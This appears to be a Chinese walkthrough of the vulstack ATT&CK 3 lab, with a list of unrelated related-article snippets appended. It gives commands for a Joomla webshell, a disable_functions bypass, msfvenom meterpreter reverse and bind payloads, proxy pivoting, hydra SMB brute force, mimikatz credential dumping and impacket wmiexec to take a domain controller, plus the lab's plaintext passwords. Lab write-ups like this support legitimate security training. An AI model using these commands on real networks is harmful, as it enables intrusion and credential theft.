vulstack ATTCK(三)靶场

news2024/12/29 1:50:26

0x00环境搭建

两种形式
1.添加vmare2网卡,修改vmare2网卡的地址为192.168.93.0网段,注意不要在连接到主机适配器上打勾,这样会使本机也可以访问此电脑,5台机器都换成vmare2即可,第一台出网的centos在添加另一张nat网卡即可
在这里插入图片描述centos需要改配置
nginx配置
把/etc/nginx/nginx.conf的server全部改为ubuntu的ip
在这里插入图片描述

ps aux|grep nginx
kill -9 进程id
/usr/sbin/nginx -c /etc/nginx/nginx.conf

网络配置
重启服务

service network start
ping www.badiu.com 能ping通说明nat可以正常上网

配置完成:
在这里插入图片描述
ubuntu
网络配置
在没有开机之前,选用vmare2网卡

service networking start

其他三台靶机改为vmare2网卡即可
2.修改nat网卡ip为192.168.1.0网段即可
正向代理:vpn,服务器不知道客户端真实地址
反向代理:客户端不知道服务器真实地址
上面web的两台靶机
第一台 centos nginx反向代理,将访问自己的全部流量转发之ubuntu中
第二台 ubuntu web服务器

0x01 web靶机渗透

1.信息搜集(存活ip,端口,服务及版本,cms或框架,中间件,敏感文件或目录)
存活ip,端口,服务及版本
192.168.85.177
22,3306,80

nmap 192.168.85.0/24
nmap -p1-65535 192.168.85.177
nmap -sV 192.168.85.177

访问192.168.85.177网站,寻找漏洞及敏感信息
在这里插入图片描述
发现cms joomla,找漏洞时需要版本,所以需要进行版本探测
尝试报错看一下是否会有版本出来
在这里插入图片描述
需要再查看一下状态码,看是不是伪造的,状态码为404
在这里插入图片描述
找到一个登录框,可以尝试进行暴力破解,sql注入
f12c查看源代码,找到一个search搜索框,尝试sql注入
1’“()\都没报错
先前扫描时服务及版本时时nginx服务器,现在apache服务器,说明做了反向代理
使用msf的auxiliary/scanner/http/joomla_version ,版本是3.9.12
使用msf关于jommla的exp进行攻击时,试了几个,都失败了
现在知道版本了找cms漏洞
CVE-2021-23132 需要登录后台才可以进行执行
或使用工具扫描版本
这里使用joomscan,并且可以进行目录和敏感文件扫描

joomscan -u http://192.168.85.177

找到了robots.txt,还有一个感觉像后台的目录,再就是感觉像配置文件的文件,版本3.9.12
在这里插入图片描述
查看配置文件在这里插入图片描述
2.登录数据库
发现了数据库用户名和密码,可以尝试使用navicat进行连接
testuser
cvcvgjASD!@
登录成功
找类似user的关键表在这里插入图片描述
3.修改用户名密码
找到用户名和密码,尝试对密码进行解密,john或cmd5,解密失败
可以下载同样版本的joomla,写一个知道密码的密文,然后进行更新覆盖
知道加密,直接更改,搜索文档可一下有没有进行密码重置的文档
jommla密码重置

直接执行就可以了
INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
  • password = “this is the MD5 and salted hashed password”

  • admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
  • secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
  • OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

4.登录后台
admin2
secret
在这里插入图片描述

5.写shell,连接蚁剑
上面找到一个后台远程代码执行漏洞,尝试使用这个漏洞
在extentions-》templates-》templates-》Beez3 Details and Files出可以修改源码
在error.php写入一句话木马
在这里插入图片描述
访问http://192.168.85.177/templates/beez3/error.php
post传入1=phpinfo();
在这里插入图片描述
执行没问题后连接蚁剑
6.绕过disabled命令执行
在这里插入图片描述
发现执行命令时,没有执行,正常来说不管权限多少小,一些基本命令都是能执行的,再次执行phpinfo,查看是不是禁用了函数
在这里插入图片描述
发现命令执行的函数都被禁用掉了,这里可以用蚁剑的插件进行绕过
找到插件市场,把下载,如果在蚁剑下载不了,可以直接在github下载对应的插件
放到antSword-master\antData\plugins下,插件名成是as_bypass_php_disable_functions-master
启动插件
在这里插入图片描述
选择模块,启动
在这里插入图片描述
会重新开启一个执行界面
执行命令在这里插入图片描述
7.继续进行信息搜集
查看网络信息路由
在这里插入图片描述可以看出,是不出网的机器,这台是apache也就是web服务器的真实ip,不是nginx的ip
上传msf木马是不行的,连接不了,代理隧道都不行
在这里插入图片描述
两个可以登录的用户,yy和root
注意这里的内核或其他方式提权是不可以的,蚁剑的是一个伪终端,不是真实的bash环境,编译一些文件或执行文件无法返回一个bash会话
发现mysql的plugin目录是可写的,但是提权成功之后也没意义只是能成功执行命令,权限还是www-data,反弹shell,不出网,连不上
系统版本
在这里插入图片描述
进入yy的家目录,查看有什么信息,没找到有用的信息,继续进入可读的目录查找敏感信息
tmp目录下发现用户名和密码,但是在passwd文件中并没有发现用户名,所以这个用户名应该是nginx的用户名,信息搜集时返现22端口是开启的,所以可以尝试登陆
在这里插入图片描述
8.ssh登录nginx服务器,centos
wwwuser
wwwuser_123Aqx
使用xshell或使用kali自带的ssh
9.继续对centos进行信息搜集
网络
在这里插入图片描述
版本
在这里插入图片描述
用户
在这里插入图片描述
9.上传木马,xshell或wget,执行木马
centos

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f elf -p 1.elf

开启监听

use mutli/handler
set payload linux/x64/meterpreter/reverse_tcp 
set lhost 0.0.0.0
set lport 4444
run

ubuntu
添加路由

run autoroute -s 192.168.93.0/24
或
run post/multi/manage/autoroute 

生成木马,通过蚁剑上传执行

msfvenom -p linux/x64/meterpreter/bind_tcp lport=4444 -f elf -p 2.elf

开启监听

use mutli/handler
set payload linux/x64/meterpreter/bind_tcp 
set lhost 0.0.0.0
set rhost 192.168.93.120
run

10.提权
centos可以通过脏牛提权,ubuntu可以通过cve-2021-3493,这里不再演示了

0x02 内网横向移动

前面路由已经添加了,这里就不用添加了
1.开启socks代理

use auxiliary/server/socks_proxy
set version 4a
ser srvport 9050
run

2.探测存活主机(在添加路由的那个msfconsole中)
auxiliary/scanner/discover/arp_sweep
auxiliary/scanner/discover/udp_probe
auxiliary/scanner/smb/smb_version
这里使用第二种

use auxiliary/scanner/discover/udp_probe
set rhosts 192.168.93.0/24
run

在这里插入图片描述
扫出三台存活主机
192.168.93.10
192.168.93.20
192.168.96.30
3.扫描端口

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.10,20,30

在这里插入图片描述
都开放了139,445,尝试永恒之蓝攻击都失败了
192.168.93.20开放了80端口
192.168.93.10开放了88端口
两个访问但是没东西
扫目录也没有扫出来
192.168.93.20 开放了1433,mssql数据库
尝试进行爆破,可以使用前面的mysql密码尝试一下
没试
还有一个思路是爆破smb密码
4.使用hydra爆破smb密码

proxychains4 hydra -l  administrator -P pass.txt smb://192.168.93.20

在这里插入图片描述
字典要足够多,才能爆破出来
密码 123qwe!ASD
5.连接smb,进行上传木马,mimikatz
生成正向连接木马

msfvenom -p windows/x64/meterpreter/bind_tcp  lport=4455 -f exe >1.exe

连接smb,上传木马和mimkatz

proxychains4 smbclient //192.168.93.20/c$ -U administrator
输入密码:  123qwe!ASD
put 1.exe
put mimikatz.exe

在这里插入图片描述
6.wmic执行木马上线msf
上线msf还可以用ipc$ 计划任务开实现
wmic执行木马(python impaket wmiexec.py)

proxychains4 impacket-wmiexec 'administrator:123qwe!ASD@192.168.93.20'

在这里插入图片描述
开启监听

use multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set lport 4455
run
#提权
getuid
getsystem
getuid

在这里插入图片描述窃取凭据

load mimikatz
creds_all          #获取所有凭证

在这里插入图片描述
在这里插入图片描述
发现域管理员密码,重新上述操作,登录域控
zxcASDqwe123!!
有几个地方需要注意,是test域登录
连接smb,上传木马

proxychains4 smbclient //192.168.93.20/c$ -U test/administrator
输入密码:  zxcASDqwe123!!
put 1.exe
proxychains4 impacket-wmiexec 'test/administrator:zxcASDqw123!!@192.168.93.10'

域控成功提权:
在这里插入图片描述

参考文章:
vulstack (三)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/441123.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Docker容器---数据卷 数据容器

Docker容器---数据卷 数据容器 一、数据卷概述1、数据卷2、数据卷原理3、数据卷作用 二、数据卷容器1、数据卷容器作用2、创建数据卷容器 三、容器互联1、创建并运行源容器取名web12、创建并运行接收容器取名web2 一、数据卷概述 管理 Docker 容器中数据主要有两种方式&#x…

社科院与杜兰大学中外合作办学金融管理硕士项目——比起过往,前路更值得期待

当结束一天工作陷入沉思时,你有没有特别遗憾的事情呢,人生有太多的不确定性,比起过往,未知的人生更值得我们期待。与其懊恼没完成的遗憾,不如珍惜当下,努力创造未来。人生没有太晚的开始,在职读…

frp内网穿透——以连接到校园内网的服务器为例

有时候想摸鱼不去实验室,在宿舍就直接连接到实验室的GPU服务器。奈何服务器在校园网内部,外网无法直接直接访问。此时需要手动搭一个跳板机,来连接到内网的GPU服务器,这一过程怎么做到呢?我们可以使用frp内网穿透工具&…

Seata:连接数据与应用

作者:季敏(清铭)Seata 开源社区创始人,分布式事务团队负责人。 本文主要介绍分布式事务从内部到商业化和开源的演进历程,Seata 社区当前进展和未来规划。 Seata 是一款开源的分布式事务解决方案,旨在为现…

Java基础(十八):java比较器、系统相关类、数学相关类

Java基础系列文章 Java基础(一):语言概述 Java基础(二):原码、反码、补码及进制之间的运算 Java基础(三):数据类型与进制 Java基础(四):逻辑运算符和位运算符 Java基础(五):流程控制语句 Java基础(六)&#xff1…

JavaScript黑科技:隐秘执行

JavaScript黑科技&#xff1a;隐秘执行 如果能使网页中的JavaScript代码隐密的加载、隐密的执行&#xff0c;那对于保护JavaScript代码来说是很有利的。 本文将探索、演示一种隐秘执行JavaScript代码的技术。 源码如下&#xff1a; <html> <script>window.onlo…

Prometheus+node_exporter+Grafana+夜莺 监控部署

一、安装Prometheus 1.1 部署并配置Prometheus #主机基础配置 [rootnode4~]# systemctl stop firewalld && systemctl disable firewalld [rootnode4~]# sed -i s/enforcing/disabled/g /etc/selinux/config && setenforce 0#上传prometheus安装包并解压 [r…

8、ThingsBoard使用docker compose集群部署的问题以及如何解决问题

1、问题回顾 接着上一节继续讲解,上一节我们把整个服务全部都运行起来了,但是访问页面报错,最后查看的问题是前端的容易里面报错: 然后执行脚本删除所有的容器 2、问题分析 当遇到这个问题的时候,我当时真的不知道如何去解决,然后我又尝试使用官方的镜像来部署,发现官…

P75分层解耦-IOCDI详解

一、分层解耦-三层架构 Dao层&#xff1a;数据访问 1、接口 package com.itheima.service;import com.itheima.pojo.Emp;import java.util.List;/*** Description:* date: 2023/4/19 21:47** since JDK 11*/ public interface EmpService { // 获取员工列表数据public List&l…

RabbitMQ·入门·壹

文章目录 1 MQ思想1.1 相关概念&#xff1a;同步、异步通讯1.1.1 同步通讯1.1.2 异步通讯 1.2 MQ思想概述1.2.1 1 MQ思想 1.1 相关概念&#xff1a;同步、异步通讯 通讯方式举例优势劣势同步通讯就像打电话&#xff0c;需要实时响应。打电话可以立即得到响应。不能跟多人同时…

垃圾回收相关算法

标记阶段的算法 垃圾标记阶段&#xff1a;对象存货判断 在堆里存放着几乎所有的Java对象实例&#xff0c;在GC执行垃圾回收之前&#xff0c;首先需要区分出内存中哪些是存活对象&#xff0c;哪些是己经死亡的对象。只有被标记为己经死亡的对象&#xff0c;GC才会在执行垃圾回…

AutoGPT 环境搭建教程

文章目录 前言一、注册OpenAI和Pinecone的账号&#xff0c;并获取key二、下载Git和Python3&#xff08;自己网上搜&#xff0c;无脑安装&#xff09;![在这里插入图片描述](https://img-blog.csdnimg.cn/95bafd5ebe9d468cbceeacbfc0cb939b.png)三、进入GitHub&#xff0c;安装A…

Flowable从入门到源码分析

什么是工作流&#xff1f; 工作流&#xff0c;是把业务之间的各个步骤以及规则进行抽象和概括性的描述。使用特定的语言为业务流程建模&#xff0c;让其运行在计算机上&#xff0c;并让计算机进行计算和推动。 工作流解决的痛点在于&#xff0c;解除业务宏观流程和微观逻辑的…

【Linux】基础IO,详解系统文件IO

目录 C语言文件操作简单回顾 C语言相关文件接口汇总 默认打开的三个流 系统文件I/O open open的第一个参数 open的第二个参数 open的第三个参数 open的返回值 close write read 文件描述符 什么是文件描述符 文件描述符分配规则 重定向 重定向的本质 输出重定…

ETCD(一)简介

1. ETCD是什么 etcd 是一个分布式键值对存储&#xff0c;设计用来可靠而快速的保存关键数据并提供访问。和数据库一样都是用来存数据的&#xff0c;但是etcd有自己的特点&#xff0c;因此有自己的使用场景。 2. etcd 特点 完全复制&#xff0c;集群中的每个节点均拥有全量数…

跌倒检测和识别2:YOLOv5实现跌倒检测(含跌倒检测数据集和训练代码)

跌倒检测和识别2&#xff1a;YOLOv5实现跌倒检测(含跌倒检测数据集和训练代码) 目录 跌倒检测和识别2&#xff1a;YOLOv5实现跌倒检测(含跌倒检测数据集和训练代码) 1. 前言 2. 跌倒检测数据集说明 &#xff08;1&#xff09;跌倒检测数据集 &#xff08;2&#xff09;自定…

《离散数学导学》精炼——第10章(序列)

Learning never exhausts the mind. 文章目录 引言正文元包序列的定义序列与函数的关系空序列长度连接头尾运算符限制运算符逆置运算符单射序列 引言 笔者一直觉得在计算机这一学科的学习中&#xff0c;离散数学是极为重要的知识基础。离散化的思想体现在计算机学科的方方面面…

SpringDataJPA

介绍&#xff1a; spirng data jpa是spring提供的一套简化JPA开发的框架&#xff0c;按照约定好的规则进行【方法命名】去写dao层接口&#xff0c;就可以在不写接口实现的情况下&#xff0c;实现对数据库的访问和操作。同时提供了很多除了CRUD之外的功能&#xff0c;如分页、排…

剖析Linux内核—fork背后隐藏的技术细节

1、前言 全文分为两部分讲解&#xff1a;fork的内存管理部分和进程管理部分&#xff0c;内存管理主要讲解子进程如何构建自己的内存管理相关基础设施&#xff0c;父子进程如何共享地址空间的&#xff0c;写时复制如何发生&#xff0c;页表层面为我们做了哪些事情等等。而进程管…

Redis缓存雪崩、穿透、击穿

Redis缓存雪崩、穿透、击穿 解决方案正常的缓存流程Redis缓存雪崩Redis缓存雪崩解决方案 Redis缓存穿透Redis缓存穿透解决方案 Redis缓存击穿Redis缓存击穿解决方案 解决方案 布隆过滤器&#xff0c;分布式锁 正常的缓存流程 Redis缓存雪崩 Redis中的key大面积失效&#xff0…